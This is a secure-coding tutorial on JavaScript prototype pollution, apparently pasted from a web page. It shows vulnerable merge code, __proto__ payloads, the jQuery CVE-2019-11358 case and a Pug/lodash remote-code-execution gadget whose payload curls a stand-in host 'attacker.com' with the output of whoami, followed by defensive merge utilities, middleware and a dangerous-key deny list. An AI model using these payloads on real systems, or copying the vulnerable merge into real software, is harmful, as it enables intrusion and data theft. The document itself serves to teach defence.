#Prototype Pollution (Client-Side)

javascriptfunction merge(target, source) {
    for (let key in source) {
        // VULNERABLE: No prototype check
        target[key] = source[key];
    }
    return target;
}

javascriptconst malicious = JSON.parse('{"__proto__": {"isAdmin": true}}');

merge({}, malicious);

javascriptconst user = {};
console.log(user.isAdmin);  // true (from polluted prototype!)

// Security check bypassed
if (user.isAdmin) {
    grantAdminAccess();  // Executes!
}

jQuery's $.extend() function was vulnerable to prototype pollution.

javascript// jQuery.extend implementation (simplified)
jQuery.extend = function(target, source) {
    for (var key in source) {
        target[key] = source[key];  // No prototype check!
    }
    return target;
};

javascript// Attacker's payload
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));

// Now all objects have devMode = true
const config = {};
if (config.devMode) {
    // Exposes debug endpoints, verbose errors, etc.
}

• Affected jQuery 3.3.1 and earlier
• Used by millions of websites
• CVE-2019-11358 assigned
• Fixed in jQuery 3.4.0
• Demonstrated widespread prototype pollution risk

Node.js application using Pug template engine with prototype pollution vulnerability.

javascriptconst express = require('express');
const pug = require('pug');
const _ = require('lodash');  // Vulnerable version

app.post('/render', (req, res) => {
    const options = {};

    // VULNERABLE: Merge user input
    _.merge(options, req.body);

    // Render template with polluted options
    const html = pug.render('h1 Hello #{name}', options);

    res.send(html);
});

json{
  "__proto__": {
    "block": {
      "type": "Text",
      "line": "process.mainModule.require('child_process').exec('curl attacker.com/$(whoami)')"
    }
  }
}

Pug template engine used polluted properties to execute arbitrary code on server!

• Remote code execution on production server
• Database credentials stolen
• $10 million customer data breach
• Company faced regulatory fines

javascript/**
 * Secure object merge utility
 * Prevents prototype pollution
 */

const DANGEROUS_KEYS = new Set(['__proto__', 'prototype', 'constructor']);

/**
 * Safely merge source into target
 */
function secureMerge(target, source, options = {}) {
    const { deep = false, allowedKeys = null } = options;

    if (!isObject(target) || !isObject(source)) {
        return target;
    }

    for (let key in source) {
        // Skip if not own property
        if (!source.hasOwnProperty(key)) continue;

        // Block dangerous keys
        if (DANGEROUS_KEYS.has(key)) {
            console.warn(`Blocked dangerous key: ${key}`);
            continue;
        }

        // Check against allowed keys whitelist
        if (allowedKeys && !allowedKeys.includes(key)) {
            console.warn(`Key not in whitelist: ${key}`);
            continue;
        }

        const sourceValue = source[key];

        // Deep merge if enabled and both values are objects
        if (deep && isObject(target[key]) && isObject(sourceValue)) {
            target[key] = secureMerge(target[key], sourceValue, options);
        } else {
            target[key] = sourceValue;
        }
    }

    return target;
}

/**
 * Check if value is a plain object
 */
function isObject(obj) {
    return obj !== null && typeof obj === 'object' && !Array.isArray(obj);
}

/**
 * Create safe object without prototype
 */
function createSafeObject(data = {}) {
    const obj = Object.create(null);
    return secureMerge(obj, data);
}

/**
 * Safely parse JSON
 */
function safeJSONParse(json) {
    const parsed = JSON.parse(json);
    return removeDangerousKeys(parsed);
}

/**
 * Recursively remove dangerous keys
 */
function removeDangerousKeys(obj) {
    if (!isObject(obj)) return obj;

    for (let key of DANGEROUS_KEYS) {
        delete obj[key];
    }

    for (let key in obj) {
        if (obj.hasOwnProperty(key) && isObject(obj[key])) {
            obj[key] = removeDangerousKeys(obj[key]);
        }
    }

    return obj;
}

module.exports = {
    secureMerge,
    createSafeObject,
    safeJSONParse,
    removeDangerousKeys
};

javascript/**
 * Express middleware to prevent prototype pollution
 */

const { removeDangerousKeys } = require('./secure-merge');

function prototypePollutionProtection(req, res, next) {
    // Clean request body
    if (req.body) {
        req.body = removeDangerousKeys(req.body);
    }

    // Clean query parameters
    if (req.query) {
        req.query = removeDangerousKeys(req.query);
    }

    // Clean URL parameters
    if (req.params) {
        req.params = removeDangerousKeys(req.params);
    }

    next();
}

module.exports = prototypePollutionProtection;

// Usage in Express app
const express = require('express');
const app = express();

app.use(express.json());
app.use(prototypePollutionProtection);  // Apply middleware

app.post('/api/data', (req, res) => {
    // req.body is now safe from prototype pollution
    console.log(req.body);
    res.json({ success: true });
});

javascript/**
 * Secure configuration management
 */

class SecureConfig {
    constructor(defaults = {}) {
        // Use Map instead of object
        this.config = new Map();

        // Load defaults safely
        this.loadDefaults(defaults);

        // Freeze prototype
        Object.freeze(Object.prototype);
    }

    loadDefaults(defaults) {
        for (let key in defaults) {
            if (defaults.hasOwnProperty(key)) {
                this.set(key, defaults[key]);
            }
        }
    }

    set(key, value) {
        // Validate key
        if (typeof key !== 'string') {
            throw new Error('Key must be string');
        }

        // Block dangerous keys
        if (['__proto__', 'prototype', 'constructor'].includes(key)) {
            throw new Error(`Dangerous key: ${key}`);
        }

        this.config.set(key, value);
    }

    get(key, defaultValue = undefined) {
        return this.config.has(key) ? this.config.get(key) : defaultValue;
    }

    has(key) {
        return this.config.has(key);
    }

    merge(obj) {
        const { secureMerge } = require('./secure-merge');

        const tempObj = {};
        secureMerge(tempObj, obj);

        for (let key in tempObj) {
            this.set(key, tempObj[key]);
        }
    }
}

module.exports = SecureConfig;

// Usage
const config = new SecureConfig({
    apiUrl: 'https://api.example.com',
    timeout: 5000
});

// Safe merge
config.merge({ theme: 'dark' });

// Dangerous keys blocked
try {
    config.set('__proto__', { isAdmin: true });
} catch (e) {
    console.log('Blocked!');
}